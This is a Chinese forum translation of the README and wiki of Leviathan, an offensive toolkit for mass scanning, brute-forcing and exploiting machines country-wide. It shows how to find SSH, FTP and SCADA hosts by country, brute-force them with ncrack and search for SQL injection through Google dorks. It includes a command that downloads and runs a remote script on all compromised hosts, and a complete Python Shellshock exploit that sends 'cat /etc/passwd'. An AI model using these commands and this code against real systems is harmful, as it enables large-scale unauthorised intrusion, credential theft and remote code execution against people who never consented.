首页
社区
课程
招聘
[翻译]开源大规模扫描、暴破、漏洞利用工具包Leviathan
发表于: 2017-5-8 20:31 9440

[翻译]开源大规模扫描、暴破、漏洞利用工具包Leviathan

2017-5-8 20:31
9440

 

Leviathan是一个大规模的审计工具包,具有广泛的服务发现,暴力破解,SQL注入检测和运行用户定制漏洞的能力。它包含开源工具,例如masscan,ncrack,dsss,并为您提供组合使用它们的灵活性。

该项目的主要目标是在全国范围内或在广泛的IP范围内审计尽可能多的系统。

 

主要特点

服务发现:通过Sensan,Censys发现在特定国家或IP范围内运行的FTP,SSH,Telnet,RDP,MYSQL服务。还可以通过集成的“masscan”工具手动发现IP范围上的运行服务。

简短演示:https://asciinema.org/a/617bsxl1y84bav9f5bcwllx7r

暴力破解:您可以通过集成的“ncrack”工具暴力破解发现的服务。它具有包含最受欢迎的组合和特定服务的默认密码的单词列表。

简短演示:https://asciinema.org/a/43y2j38zu7hbnuahrj233d5r0

远程命令执行:您可以在受感染的设备上远程运行系统命令。

简短演示:https://asciinema.org/a/0xcrhd12f2lpkbktjldwtab16

SQL注入扫描器:发现具有特定国家/地区扩展或您自定义Google Dork的网站上的SQL注入漏洞。

简短演示:https://asciinema.org/a/2mwfmd9afsuyg5p0vzcq5e6si

利用特定的漏洞:用Shodan,Censys或Masscan发现易受攻击的目标,并通过提供自己的漏洞利用工具或使用预先包含的漏洞利用工具来利用这些漏洞。

简短演示:https://asciinema.org/a/9uqsjvnru780h0ue6ok9j9ktb

 

集成工具

Masscan :这是由Robert David Graham开必的非常快速的TCP端口扫描器。 Leviathan使用masscan来检测巨大IP范围内的服务。 https://github.com/robertdavidgraham/masscan

Ncrack :Ncrack是一种高速网络身份验证破解工具。 Leviathan使用ncrack来暴力破解FTP,SSH,RDP,Telnet,MYSQL等服务。https://github.com/nmap/ncrack

DSSS(Damn Small SQLi Scanner):DSSS是Miroslav Stampar的功能齐全而又小巧的SQL注入漏洞扫描程序。 Leviathan使用DSSS来识别特定URL上的SQL注入漏洞。 https://github.com/stamparm/DSSS

 

安装

有关详细的安装,请访问我们的wiki页面。

Kali Linux:

通过克隆Git仓库下载leviathan:

`git clone https://github.com/leviathan-framework/leviathan.git`

进入文件夹

`cd leviathan`

安装Python库:

`pip install -r requirements.txt`

完成!

Debian / Ubuntu:

通过克隆Git仓库下载leviathan:

`git clone https://github.com/leviathan-framework/leviathan.git`

进入文件夹

`cd leviathan`

运行安装脚本。它将安装所需的工具(ncrack,masscan)和python库。

`bash scripts/debian_install.sh`

完成!

macOS:

如果系统上未安装homebrew,请先安装:

`/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`

通过克隆Git仓库下载leviathan:

`git clone https://github.com/leviathan-framework/leviathan.git`

进入文件夹

`cd leviathan`

运行安装脚本。它将安装所需的工具(ncrack,masscan)和python库。

`bash scripts/macos_install.sh`

完成!

 

运行环境

Python版本2.7.x是运行此程序所必需的。

支持的平台:Linux(Kali Linux,Debian,Ubuntu),macOS

 

用法

使用以下命令运行程序:

`python leviathan.py`

您可以在菜单中获取基本使用信息。有关详细的使用手册,请访问我们的wiki页面。

 

截图

 

 

作者

该项目由Utku Sen和Ozge Barbaros撰写

 

捐赠

我们的比特币地址:13m5tKkY2TUVskkaCbLEqU1VN8daAUvJS8

 

法律警告

虽然这可能对一些人有帮助,但存在重大风险。即使你是无辜的,你可能仅因运行leviathan而受到司法指控而入狱。您应注意到,在“自己”的环境之外使用这种工具被认为是恶意的,违反了法律。请谨慎使用。

 

 

译注:其wiki有更详细的工具用法介绍,如果有必要我可以找个时间翻译。

来源:https://github.com/leviathan-framework/leviathan

本文由 看雪翻译小组 hanbingxzy 编译

 

 

 

维基

页面

首页 Home

资产菜单 Assets Menu

攻击菜单 Attack Menu

配置菜单 Configuration Menu

发现菜单 Discovery Menu

安装 Installation

获取KEY Obtaining The API Keys

自定义漏洞利用 Writing Custom Exploits

 

首页 Home

欢迎来到Leviathan的维基。以下文档将让您能够使用Leviathan具有的所有功能。

入门指南

1.要在特定系统上安装Leviathan,请访问Installation页面。

2.您需要生成“Google Custom Search”,“Shodan”和“Censys” API keys才能使用该程序。详情请访问Obtaining The API Keys页面。

3.key生成后,您需要向Leviathan提供这些keys。页面教程Configuration Menu会告诉你如何配置。

4.可以使用Leviathan了。

用法

- 要发现设备和网站,请访问“Discovery Menu”页面

- 要对之前发现的目标进行特定攻击,请访问“Attack Menu”页面

- 要查看发现的和被攻陷的设备,请访问“Assets Menu”页面

- 有关编写自己定制的漏洞利用的更多详细信息,请访问“Writing Custom Exploits”页面

 

资产菜单 Assets Menu

Assets Menu允许您查看发现的或被攻陷的机器。

发现的设备

要检查发现的设备,请在Assets Menu中选择选项1(显示发现的计算机)。

查看时可以通过协议过滤,也可以查看所有已发现的机器。格式如下:

ID:8275412 | Protocol:ssh | Method:censys | Date:Mon Apr 10 16:47:31 2017
ID:6939827 | Protocol:ftp | Method:masscan | Date:Mon Apr 3 14:22:51 2017

然后,您可以通过输入他们的ID来查看它们。

被攻陷的机器

要检查被攻陷的设备,请在Assets Menu中选择选项2(显示被攻陷的机器)。

查看时可以通过协议过滤,也可以查看所有已发现的机器。格式如下:

ID:8275412 | Protocol:ssh | Method:ncrack | Date:Mon Apr 10 16:47:31 2017
ID:7663334 | Protocol:web | Method:dsss | Date:Tue Apr 4 10:52:18 2017

然后,您可以通过输入他们的ID来查看它们。

 

攻击菜单 Attack Menu

视频演示:https://www.youtube.com/watch?v=pxad6OwQieE

攻击模块中,您可以对发现模块中发现的目标运行特定的攻击。如果您没有发现任何目标,则无法进行攻击。因此请访问“Discovery Menu”页面。

成功的攻击保存在“/assets/compromised”文件夹下,格式如下:

攻陷方法_服务_发现id.txt

例如:ncrack_ssh_8593212.txt

使用暴力破解

在“暴力破解”部分,您可以对以下协议进行暴力攻击:ftp,ssh,telnet,rdp,mysql。用于暴力攻击的单词列表放在“/config/wordlists”文件夹下。如果要使用不同的组合,您可以编辑它们。

成功的暴力攻击以以下格式保存:

用户名:密码:IP地址

例如:root:123456:1.1.1.1

用发现id攻击

在本节中,您可以通过提供发现id来运行暴力攻击。要获取扫描的发现id,请访问“资产菜单 Assets Menu”菜单。例如,您使用Censys来对ssh服务进行扫描。进入“资产菜单 Assets Menu”菜单,并进入菜单:“Show discovered machines(显示发现的机器)” -->“ssh”。它会向你列出这些信息:

ID:8275412 | 协议:ssh | 方法:censys | 日期:Mon Apr 10 16:47:31 2017

复制发现ID部分(8275412),并输入Brute Force/Attack(暴力攻击)中进行使用。Leviathan自动对发现的IP地址进行暴力攻击。

攻击针对某协议而发现的所有机器

在本节中,您不需要提供发现ID。您需要选择协议(例如:ssh),Leviathan对运行SSH的所有已发现的IP地址进行暴力攻击。

Web(SQL注入)

在本节中,您可以在之前搜索到URL上进行SQL注入漏洞搜索。如果目标URL容易受到SQL注入攻击,Leviathan会将URL保存在“/assets/compromised”文件夹中,如上所述。

与“暴力破解”部分相同,您有两个选项可以选择:

1)用发现的ID攻击

2)攻击发现的所有机器

细节上与“暴力破解”部分相同。

运行自定义漏洞利用工具

可用的漏洞位于“/lib/exploits”文件夹下。如果要实现自己的漏洞利用,则需要将其放在该目录下。有关编写自定义漏洞的更多信息,请访问“编写自定义漏洞利用 Writing Custom Exploits”页面。

要运行内置的漏洞利用工具,请从主菜单中进入攻击菜单,然后进入自定义漏洞利用部分。在这里,您需要提供目标的发现ID。如果您没有有关发现ID的信息,请访问“资产菜单 Assets Menu”部分。

提供发现ID后,您需要选择针对目标运行的漏洞利用。键入漏洞名称(示例:shellshock),然后按Enter键。

运行远程命令

在“运行远程命令”部分中,您可以在攻陷的机器上远程执行命令。您需要在“暴力破解”部分中破解SSH密码才能使用此部分。

与“暴力破解”和“Web”部分相同,您有两个选项可以选择:

1)按发现ID运行命令

2)在所有发现的机器上运行命令

获取发现ID和详细信息,请参见“暴力破解”部分。

以下示例显示如何在所有破解的ssh服务上运行命令(仅支持Unix Bash命令)

- 选择菜单中的选项2 -

输入您的命令:wget http://utkusen.com/s.pl && chmod +x s.pl && ./s.pl

 

配置菜单 Configuration Menu

在本节中,您可以更改Google,Shodan或Censys的API密钥。 如果您还没有API密钥,请访问“获取KEY Obtaining The API Keys”页面。

1.运行程序:python leviathan.py

2.在主菜单中,按4进入配置菜单。

3.现在,您需要通过在菜单中选择相应的数字来填充每个部分(Google API密钥,Google CSE ID,Censys UID,Censys 密码,Shodan API密钥)

此外,您也可以手动在leviathan_config.py文件中添加API密钥。

 

发现菜单 Discovery Menu

视频演示:https://www.youtube.com/watch?v=PFGU-eOfXuU

发现模块可帮助您识别运行特定服务的机器。您可以使用Shodan或Censys API提取之前发现的机器,或者您可以使用masscan工具自己扫描。此外,您可以根据Google的dork发现网站。确保您提供了Shodan,Censys和Google API的密钥,以便使用这些功能。

所有发现的目标都保存在“/assets/discovered”文件夹下,格式如下:

discoverymethod_service_discoveryid.txt

如:censys_ssh_8593212.txt

您可以在“资产菜单 Assets Menu”中查看发现的目标。有关详细信息,请访问其wiki页面。

使用Shodan

Shodan模块将通过Shodan的API提取预发现的机器。

自动查询

在“自动查询”部分,您可以通过输入国家代码和服务类型来生成Shodan搜索查询和查找机器。以下示例显示如何收集在土耳其运行SSH的IP地址。

Enter Country Code(输入国家代码): TR
Enter Protocol(输入协议): ssh
自定义查询

在本节中,您可以编写自己的Shodan查询。有关语法,请访问:https://www.shodan.io/

以下示例显示如何收集在伊斯坦布尔运行Apache的IP地址:

apache city:"Istanbul"

使用Censys

Censys模块可通过Censys的API提取预发现的机器。

自动查询

在“自动查询”部分,您可以通过提供国家代码和服务类型来生成Censys搜索查询和查找机器。以下示例显示如何收集在土耳其运行SSH的IP地址。

Enter Country Code(输入国家代码): TR
Enter Protocol(输入协议): ssh
自定义查询

在本节中,您可以编写自己的Shodan(注:应该是Censys)查询。有关语法,请访问:https://censys.io/

以下示例显示了如何收集美国IP地址SCADA系统:

location.country_code: US and tags: scada
使用masscan

使用masscan,您可以发现运行特定服务的IP范围中的设备。以下示例显示如何收集在83.49.0.0/16范围内运行SSH的IP地址。

Enter IP range(输入IP范围): 83.49.0.0/16
Enter Protocol(输入协议): ssh

使用Web扫描器

Web扫描器模块允许您从给定的dork中提取Google的URL。

自动Dork

在“自动Dork”部分,您可以通过提供国家代码和域扩展名来创建一个dork。以下示例显示如何收集具有edu.tr域扩展名的URL。(完整的dork将是这样的:inurl:.php?id= inurl:edu.tr)

Enter Country Code(输入国家代码): tr
Enter Domain Extension(输入域名后缀): edu
自定义Dork

在本节中,您可以输入自己的dork。例如:

Enter Your Dork(输入您的Dork): intitle:EyesOfNetwork intext:"sponsored by AXIANS"

查看已发现资产

检查已发现的资产,请访问“资产菜单 Assets Menu”页面

 

安装 Installation

Kali Linux:

通过克隆Git存储库下载leviathan:

git clone https://github.com/leviathan-framework/leviathan.git

进入文件夹内

cd leviathan

安装Python库:

pip install -r requirements.txt

完成!

Debian/Ubuntu:

通过脚本进行安装(推荐)

通过克隆Git存储库下载leviathan:

git clone https://github.com/leviathan-framework/leviathan.git

进入文件夹

cd leviathan

运行安装脚本。它将安装所需的工具(ncrack,masscan)和python库。

bash scripts/debian_install.sh

完成!

手动安装

安装依赖:

apt-get update
sudo apt-get -y install python python-pip git gcc make libpcap-dev build-essential checkinstall libssl-dev libssh-dev libffi-dev python-dev

通过克隆Git存储库下载leviathan:

git clone https://github.com/leviathan-framework/leviathan.git

进入文件夹

cd leviathan

安装masscan:

git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
cp bin/masscan /usr/bin/

安装ncrack:

cd ..
wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
tar -xzf ncrack-0.5.tar.gz
cd ncrack-0.5
./configure
make
sudo make install

安装所需的Python库:

sudo pip install -r requirements.txt

MacOS:

通过脚本安装(推荐)

如果系统上没有安装homebrew,请先安装:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

通过克隆Git存储库下载leviathan:

git clone https://github.com/leviathan-framework/leviathan.git

进入文件夹

cd leviathan

运行安装脚本。它将安装所需的工具(ncrack,masscan)和python库。

bash scripts/macos_install.sh

完成!

手动安装

如果系统上没有安装homebrew,请先安装:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

安装pip:

sudo easy_install pip

安装git:

brew install git

通过克隆Git存储库下载leviathan:

git clone https://github.com/leviathan-framework/leviathan.git

进入文件夹

cd leviathan

安装masscan:

git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
cp bin/masscan /usr/bin/

安装ncrack:

brew install ncrack -y

安装所需的python库:

sudo pip install -r requirements.txt --ignore-installed six

Fedora

通过脚本进行安装(推荐)

通过克隆Git存储库下载leviathan:

git clone https://github.com/leviathan-framework/leviathan.git

进入文件夹

cd leviathan

运行安装脚本。它将安装所需的工具(ncrack,masscan)和python库。

bash scripts/fedora_install.sh

完成!

环境依赖

运行此程序需要Python 2.7.x版本。

支持的平台:Linux(Kali Linux,Debian,Ubuntu),macOS

 

获取API密钥 Obtaining The API Keys

Leviathan需要几个服务API密钥才能工作。需要Google自定义搜索API来从Google获取URL以检测SQL注入漏洞。根据给定的查询,需要Censys和Shodan API来获取IP地址。

生成“Google自定义搜索”密钥

需要生成两个东西:Google API Key,自定义搜索引擎ID

Google API密钥:

1.定位到API控制台中的“凭据页面”:https://console.developers.google.com/apis/credentials

2.单击创建凭证 > API密钥(如果您先前没有任何项目,请先创建一个项目,之后可以生成API密钥。)

3.将您的API密钥复制到本地磁盘

自定义搜索引擎ID:

1.浏览https://cse.google.com/cse/并点击“创建自定义搜索引擎”

2.在“要搜索的网站”部分,只需填入www.anyurl.com以跳过此画面。我们稍后会删掉。

3.在“搜索引擎名称”框中输入搜索引擎的名称。

4.点击“创建”按钮

5.点击“控制面板”按钮,它与“修改搜索引擎”标签位于同一行。

6.在“基本”选项卡中,找到“要搜索的站点”部分。在下拉列表中选择“搜索整个网络,但强调包含的网站”。此外,标记“www.anyurl.com”旁边的复选框,然后单击“删除”按钮。

7.点击页面底部的“更新”按钮。

8.在“基础”选项卡下查找“详细信息”标签。点击“搜索引擎ID”按钮。

9.将您的搜索引擎ID复制到本地磁盘

Censys

1.在https://censys.io/register注册一个帐户

2.登录后,导航到https://censys.io/account

3.复制API ID和密钥到本地磁盘。

Shodan

1.在https://account.shodan.io/register注册一个帐户

2.登录后导航到https://account.shodan.io/

3.将您的API密钥复制到本地磁盘

:Shodan的免费api密钥不会给你太多的灵活性。如果您想顺利使用Shodan,您应该至少从这里购买“Freelancer”软件包:https://developer.shodan.io/pricing

 

编写自定义漏洞利用 Writing Custom Exploits

在“自定义漏洞利用”模块中,您可以对在Discovery模块中发现的目标使用自定义漏洞利用工具。如果您没有发现任何目标,您就无法利用它们。请访问“Discovery Menu”页面。

可用的漏洞位于“/lib/exploits”文件夹下。如果要实现自己的漏洞利用,则需要将其放在该目录下。

编写自己的漏洞

用Python 2.7版编写漏洞利用。

帮助函数

discovery_parse

要解析预先发现的目标,您需要从“lib/utils.py”导入“discovery_parse”函数

from lib.utils import discovery_parse

“discovery_parse”函数需要发现ID(字符串),并以列表形式返回其上的元素(IP或URL)。

例如“censys_ssh_28381923.txt”包含以下目标:

192.168.1.5
192.168.1.89

调用“discovery_parse("28381923")”将返回:“['192.168.1.5','192.168.1.89']”

您可以循环地对这些列表中目标运行漏洞利用代码。

compromise_save

为了保存成功利用的目标,您需要从“lib/utils.py”导入“compromise_save”函数

from lib.utils import compromise_save

“compromise_save”函数需要3个参数:discovery_id,exploit_name,asset_list,其会在“/assets/compromised”下创建一个文件,其中包括会以以下文件名表示的可成功利用的目标:“custom_exploitname_discoveryid.txt”例如:“custom_struts_2849312.txt”

discovery_id:可以使用用户给出的初始值。

exploit_name:这是漏洞利用的通用名称。仅使用字母数字字符。例如:“struts”

asset_list:您需要将成功利用的目标追加到列表中。 “compromise_save”会将它们循环写入相应文本文件。

接口函数(注:您要实现的函数)

show_desc

此函数需要显示有关该菜单上所示漏洞的基本信息。您的函数需要返回字符串信息。例如:

def show_desc():
    return "Shellshock Remote Code Execution (CVE-2014-6271)"

exploit

在这里,您的代码将有效载荷发送到目标。它应返回目标的响应。

action

action函数需要一个7位整数的“discovery_id”。

def action(discovery_id)

您需要根据discovery_id值调用“discovery_parse”函数才能获取目标URL或IP地址。

urllist = discovery_parse(discovery_id)

对于urllist中的每个url,调用“exploit”函数

for url in urllist:
        response = exploit(url, "cat /etc/passwd/")

如果攻击成功,请将“URL/IP”附加到列表中。

successful_urls.append(url)

所有目标完成后,使用“compromise_save”功能保存成功的URL

if successful_urls: #if not empty        
        compromise_save(discovery_id, exploit_name, successful_urls)

漏洞利用示例

下面的漏洞利用是用于识别Shellshock漏洞的。

from lib.utils import discovery_parse,compromise_save
import sys
import urllib2
exploit_name = "shellshock" #this goes to file name
#Tries to exploit given url with given command. Returns servers response.
def exploit(url, command):
    response = ""
    opener = urllib2.build_opener()
    opener.addheaders = [('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; ' + command)]
    try:
        response = opener.open(url)
    except:
        pass  
    return response
#Most of things are done in this function. It parses targets with given discovery id
#checks if exploit is successful, appends successful ones to list and saves them with
#compromise_save function
def action(discovery_id):
    successful_urls = []
    urllist = discovery_parse(discovery_id)
    print urllist
    for url in urllist:
        response = exploit(url, "cat /etc/passwd/")
        try:
            if "root" in response:
                successful_urls.append(url)
                print "Vulnerable! " + url
        except:
            pass
    if successful_urls:        
        compromise_save(discovery_id, exploit_name, successful_urls)
def show_desc():
    return "Shellshock Remote Code Execution (CVE-2014-6271)"

 

 

译注:此工具的部分功能依赖国外API服务器支持,这会需要代理软件(最好是透明代理)。

来源:https://github.com/leviathan-framework/leviathan/wiki

本文由 看雪翻译小组 hanbingxzy 编译


[课程]Linux pwn 探索篇!

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 6103
活跃值: (1207)
能力值: (RANK:30 )
在线值:
发帖
回帖
粉丝
2
期待哦!
2017-5-9 18:24
0
雪    币: 569
活跃值: (261)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
3
哆啦咪 期待哦!
好的
2017-5-13 12:48
0
雪    币: 569
活跃值: (261)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
4
OK,  翻译完了 
2017-5-21 10:53
0
游客
登录 | 注册 方可回帖
返回
//